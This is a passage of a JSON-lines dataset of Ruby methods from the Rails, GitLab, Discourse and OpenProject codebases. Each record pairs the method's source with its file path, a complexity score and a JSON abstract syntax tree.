{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/validations_test.rb","start_line":169,"raw_source":"def test_numericality_validation_with_mutation\n    klass = Class.new(Topic) do\n      attribute :wibble, :string\n      validates_numericality_of :wibble, only_integer: true\n    end\n\n    topic = klass.new(wibble: \"123-4567\")\n    topic.wibble.gsub!(\"-\", \"\")\n\n    assert_predicate topic, :valid?\n  end","complexity_score":10.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_numericality_validation_with_mutation\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"klass\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\",{\"type\":\"const\",\"children\":[null,\"Topic\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"attribute\",{\"type\":\"sym\",\"children\":[\"wibble\"]},{\"type\":\"sym\",\"children\":[\"string\"]}]},{\"type\":\"send\",\"children\":[null,\"validates_numericality_of\",{\"type\":\"sym\",\"children\":[\"wibble\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"only_integer\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"topic\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wibble\"]},{\"type\":\"str\",\"children\":[\"123-4567\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"wibble\"]},\"gsub!\",{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"lvar\",\"children\":[\"topic\"]},{\"type\":\"sym\",\"children\":[\"valid?\"]}]}]}]}","id":"e4ed8416-6351-428f-a7f8-c7807b6c9ebc"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-backup-cli/lib/gitlab/backup/cli/tasks/packages.rb","start_line":16,"raw_source":"def local\n            Gitlab::Backup::Cli::Targets::Files.new(context, storage_path, excludes: ['tmp'])\n          end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"local\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Backup\"]},\"Cli\"]},\"Targets\"]},\"Files\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"context\"]},{\"type\":\"send\",\"children\":[null,\"storage_path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"excludes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"tmp\"]}]}]}]}]}]}","id":"729b9160-de2d-4579-9a0d-9edc315eb9d3"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/new_post_result.rb","start_line":28,"raw_source":"def check_errors(arr)\n    if arr.empty?\n      @success = true\n    else\n      arr.each { |e| errors.add(:base, e) if errors[:base].exclude?(e) }\n    end\n  end","complexity_score":13.5,"ast_json":"{\"type\":\"def\",\"children\":[\"check_errors\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"arr\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arr\"]},\"empty?\"]},{\"type\":\"ivasgn\",\"children\":[\"@success\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arr\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"e\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"base\"]}]},\"exclude?\",{\"type\":\"lvar\",\"children\":[\"e\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"base\"]},{\"type\":\"lvar\",\"children\":[\"e\"]}]},null]}]}]}]}","id":"1982501c-4232-420e-93f7-14be6dcffc6c"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/open_project/logging.rb","start_line":39,"raw_source":"def payload_extenders\n        @payload_extenders ||= [\n          method(:default_payload)\n        ]\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"payload_extenders\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@payload_extenders\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"method\",{\"type\":\"sym\",\"children\":[\"default_payload\"]}]}]}]}]}","id":"cf4a3326-2247-4491-bdb9-b9c881171da6"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/form_helper_test.rb","start_line":1250,"raw_source":"def test_time_field_with_timewithzone_value\n    previous_time_zone, Time.zone = Time.zone, \"UTC\"\n    expected = %{<input id=\"post_written_on\" name=\"post[written_on]\" type=\"time\" value=\"01:02:03.000\" />}\n    @post.written_on = Time.zone.parse(\"2004-06-15 01:02:03\")\n    assert_dom_equal(expected, time_field(\"post\", \"written_on\"))\n  ensure\n    Time.zone = previous_time_zone\n  end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_time_field_with_timewithzone_value\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"previous_time_zone\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone=\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]},{\"type\":\"str\",\"children\":[\"UTC\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"str\",\"children\":[\"<input id=\\\"post_written_on\\\" name=\\\"post[written_on]\\\" type=\\\"time\\\" value=\\\"01:02:03.000\\\" />\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post\"]},\"written_on=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]},\"parse\",{\"type\":\"str\",\"children\":[\"2004-06-15 01:02:03\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"send\",\"children\":[null,\"time_field\",{\"type\":\"str\",\"children\":[\"post\"]},{\"type\":\"str\",\"children\":[\"written_on\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone=\",{\"type\":\"lvar\",\"children\":[\"previous_time_zone\"]}]}]}]}","id":"42c105ad-8c20-4cef-b295-3cd87416d154"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-patreon/lib/seed.rb","start_line":5,"raw_source":"def self.seed_content!\n      flair =\n        File.open(\n          \"#{Rails.root}/plugins/discourse-patreon/public/images/patreon-logomark-color-on-white.png\",\n        )\n      flair_upload =\n        UploadCreator.new(flair, \"patreon-flair.png\").create_for(Discourse.system_user.id)\n\n      default_group =\n        Group.where(name: \"patrons\").first_or_initialize(\n          visibility_level: Group.visibility_levels[:public],\n          primary_group: true,\n          title: \"Patron\",\n          flair_upload_id: flair_upload.id,\n          bio_raw:\n            \"To get access to this group go to our [Patreon page](https://www.patreon.com/) and add your pledge.\",\n          full_name: \"Our Patreon supporters\",\n        )\n      default_group.save!\n\n      badge =\n        Badge.where(name: \"Patron\").first_or_initialize(\n          description: \"Active Patron\",\n          badge_type_id: 1,\n          listable: true,\n          target_posts: false,\n          query:\n            \"select user_id, created_at granted_at, NULL post_id from group_users where group_id = ( select g.id from groups g where g.name = 'patrons' )\",\n          enabled: true,\n          auto_revoke: true,\n          badge_grouping_id: 2,\n          trigger: 0,\n          show_posts: false,\n          system: false,\n          image_upload_id: flair_upload.id,\n          long_description:\n            'To get access to this badge go to our <a href=\"https://www.patreon.com/\">Patreon page</a> and add your pledge.',\n        )\n      badge.save!\n\n      basic_filter = { default_group.id.to_s => [\"0\"] }\n      Patreon.set(\"filters\", basic_filter)\n    end","complexity_score":27.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"seed_content!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"flair\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"open\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"root\"]}]},{\"type\":\"str\",\"children\":[\"/plugins/discourse-patreon/public/images/patreon-logomark-color-on-white.png\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"flair_upload\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UploadCreator\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"flair\"]},{\"type\":\"str\",\"children\":[\"patreon-flair.png\"]}]},\"create_for\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"system_user\"]},\"id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"default_group\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Group\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"patrons\"]}]}]}]},\"first_or_initialize\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"visibility_level\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Group\"]},\"visibility_levels\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"public\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"primary_group\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"Patron\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"flair_upload_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"flair_upload\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bio_raw\"]},{\"type\":\"str\",\"children\":[\"To get access to this group go to our [Patreon page](https://www.patreon.com/) and add your pledge.\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"full_name\"]},{\"type\":\"str\",\"children\":[\"Our Patreon supporters\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"default_group\"]},\"save!\"]},{\"type\":\"lvasgn\",\"children\":[\"badge\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Badge\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Patron\"]}]}]}]},\"first_or_initialize\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Active Patron\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"badge_type_id\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"listable\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_posts\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"query\"]},{\"type\":\"str\",\"children\":[\"select user_id, created_at granted_at, NULL post_id from group_users where group_id = ( select g.id from groups g where g.name = 'patrons' )\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"enabled\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"auto_revoke\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"badge_grouping_id\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"trigger\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"show_posts\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"system\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"image_upload_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"flair_upload\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"long_description\"]},{\"type\":\"str\",\"children\":[\"To get access to this badge go to our <a href=\\\"https://www.patreon.com/\\\">Patreon page</a> and add your pledge.\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"badge\"]},\"save!\"]},{\"type\":\"lvasgn\",\"children\":[\"basic_filter\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"default_group\"]},\"id\"]},\"to_s\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"0\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Patreon\"]},\"set\",{\"type\":\"str\",\"children\":[\"filters\"]},{\"type\":\"lvar\",\"children\":[\"basic_filter\"]}]}]}]}","id":"5495cbdd-7c35-4062-b067-a7d532695b6b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/config/initializers/net_http.rb","start_line":48,"raw_source":"def validate_decompressed_size?\n        Gitlab::CurrentSettings.max_http_decompressed_size > 0 &&\n          !Gitlab::SafeRequestStore[:disable_net_http_decompression]\n      end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_decompressed_size?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"CurrentSettings\"]},\"max_http_decompressed_size\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"SafeRequestStore\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"disable_net_http_decompression\"]}]},\"!\"]}]}]}","id":"3c7c19ad-5ed0-44f2-ace6-ce85bf957a36"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/notifications_test.rb","start_line":372,"raw_source":"def test_events_are_published_to_a_listener\n      @notifier.publish :foo\n      @notifier.wait\n      assert_equal [[:foo]], @events\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_events_are_published_to_a_listener\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@notifier\"]},\"publish\",{\"type\":\"sym\",\"children\":[\"foo\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@notifier\"]},\"wait\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"foo\"]}]}]},{\"type\":\"ivar\",\"children\":[\"@events\"]}]}]}]}","id":"897b5fca-f8b1-4000-a20e-d2cefd2bd918"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/file_read_helpers.rb","start_line":24,"raw_source":"def allow_or_expect_file_read(file, mode:, content:, error:, exist:)\n    allow_original_file_calls\n    allow(File).to receive(:exist?).with(file).and_return(exist)\n\n    expectation = if mode == :allow\n                    allow(File).to receive(:read).with(file)\n                  elsif mode == :expect\n                    expect(File).to receive(:read).with(file)\n                  else\n                    raise ArgumentError, \"expected :allow or :expect for `mode`, got `#{mode}`\"\n                  end\n\n    if error\n      expectation.and_raise(error)\n    elsif content\n      expectation.and_return(content)\n    else\n      expectation\n    end\n  end","complexity_score":29.0,"ast_json":"{\"type\":\"def\",\"children\":[\"allow_or_expect_file_read\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]},{\"type\":\"kwarg\",\"children\":[\"mode\"]},{\"type\":\"kwarg\",\"children\":[\"content\"]},{\"type\":\"kwarg\",\"children\":[\"error\"]},{\"type\":\"kwarg\",\"children\":[\"exist\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow_original_file_calls\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"const\",\"children\":[null,\"File\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"exist?\"]}]},\"with\",{\"type\":\"lvar\",\"children\":[\"file\"]}]},\"and_return\",{\"type\":\"lvar\",\"children\":[\"exist\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expectation\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mode\"]},\"==\",{\"type\":\"sym\",\"children\":[\"allow\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"const\",\"children\":[null,\"File\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"read\"]}]},\"with\",{\"type\":\"lvar\",\"children\":[\"file\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mode\"]},\"==\",{\"type\":\"sym\",\"children\":[\"expect\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"const\",\"children\":[null,\"File\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"read\"]}]},\"with\",{\"type\":\"lvar\",\"children\":[\"file\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"expected :allow or :expect for `mode`, got `\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mode\"]}]},{\"type\":\"str\",\"children\":[\"`\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expectation\"]},\"and_raise\",{\"type\":\"lvar\",\"children\":[\"error\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expectation\"]},\"and_return\",{\"type\":\"lvar\",\"children\":[\"content\"]}]},{\"type\":\"lvar\",\"children\":[\"expectation\"]}]}]}]}]}","id":"3d46bbe4-3fef-4b80-8682-8b15a2aa5730"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/helpers.rb","start_line":62,"raw_source":"def job_token_authentication?\n      initial_current_user && @current_authenticated_job.present? # rubocop:disable Gitlab/ModuleWithInstanceVariables\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"job_token_authentication?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"initial_current_user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@current_authenticated_job\"]},\"present?\"]}]}]}","id":"e722225b-6238-4073-b058-5ad3a6c75618"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/postgresql/schema_authorization_test.rb","start_line":18,"raw_source":"def setup\n    @connection = ActiveRecord::Base.lease_connection\n    @connection.execute \"SET search_path TO '$user',public\"\n    set_session_auth\n    USERS.each do |u|\n      @connection.execute \"CREATE USER #{u}\" rescue nil\n      @connection.execute \"CREATE SCHEMA AUTHORIZATION #{u}\" rescue nil\n      set_session_auth u\n      @connection.execute \"CREATE TABLE #{TABLE_NAME} (#{COLUMNS.join(',')})\"\n      @connection.execute \"INSERT INTO #{TABLE_NAME} (name) VALUES ('#{u}')\"\n      set_session_auth\n    end\n  end","complexity_score":17.2,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@connection\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"lease_connection\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"execute\",{\"type\":\"str\",\"children\":[\"SET search_path TO '$user',public\"]}]},{\"type\":\"send\",\"children\":[null,\"set_session_auth\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"USERS\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"u\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"CREATE USER \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"u\"]}]}]}]},{\"type\":\"resbody\",\"children\":[null,null,{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"CREATE SCHEMA AUTHORIZATION \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"u\"]}]}]}]},{\"type\":\"resbody\",\"children\":[null,null,{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"set_session_auth\",{\"type\":\"lvar\",\"children\":[\"u\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"CREATE TABLE \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]}]},{\"type\":\"str\",\"children\":[\" (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"COLUMNS\"]},\"join\",{\"type\":\"str\",\"children\":[\",\"]}]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"INSERT INTO \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]}]},{\"type\":\"str\",\"children\":[\" (name) VALUES ('\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"u\"]}]},{\"type\":\"str\",\"children\":[\"')\"]}]}]},{\"type\":\"send\",\"children\":[null,\"set_session_auth\"]}]}]}]}]}","id":"3a808ab3-57a1-40ed-88b2-1c9ddb4d8251"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/share_lock_test.rb","start_line":53,"raw_source":"def test_sharing_is_upgradeable_to_exclusive\n    upgrading_thread = Thread.new do\n      @lock.sharing do\n        @lock.exclusive { }\n      end\n    end\n    assert_threads_not_stuck upgrading_thread\n  end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_sharing_is_upgradeable_to_exclusive\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"upgrading_thread\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@lock\"]},\"sharing\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@lock\"]},\"exclusive\"]},{\"type\":\"args\",\"children\":[]},null]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_threads_not_stuck\",{\"type\":\"lvar\",\"children\":[\"upgrading_thread\"]}]}]}]}","id":"20c1e363-8171-4fad-b6dc-243063c8185c"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/application_layout_preloader.rb","start_line":111,"raw_source":"def preload_anonymous_data\n    check_readonly_mode if @readonly_mode.nil?\n    @preloaded[\"site\"] = Site.json_for(@guardian)\n    @preloaded[\"siteSettings\"] = SiteSetting.client_settings_json\n    @preloaded[\"themeSiteSettingOverrides\"] = SiteSetting.theme_site_settings_json(@theme_id)\n    @preloaded[\"customHTML\"] = custom_html_json\n    @preloaded[\"banner\"] = banner_json\n    @preloaded[\"customEmoji\"] = custom_emoji\n    @preloaded[\"isReadOnly\"] = @readonly_mode.to_json\n    @preloaded[\"isStaffWritesOnly\"] = @staff_writes_only_mode.to_json\n    @preloaded[\"activatedThemes\"] = activated_themes_json\n  end","complexity_score":21.1,"ast_json":"{\"type\":\"def\",\"children\":[\"preload_anonymous_data\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@readonly_mode\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"check_readonly_mode\"]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@preloaded\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"site\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Site\"]},\"json_for\",{\"type\":\"ivar\",\"children\":[\"@guardian\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@preloaded\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"siteSettings\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"client_settings_json\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@preloaded\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"themeSiteSettingOverrides\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"theme_site_settings_json\",{\"type\":\"ivar\",\"children\":[\"@theme_id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@preloaded\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"customHTML\"]},{\"type\":\"send\",\"children\":[null,\"custom_html_json\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@preloaded\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"banner\"]},{\"type\":\"send\",\"children\":[null,\"banner_json\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@preloaded\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"customEmoji\"]},{\"type\":\"send\",\"children\":[null,\"custom_emoji\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@preloaded\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"isReadOnly\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@readonly_mode\"]},\"to_json\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@prel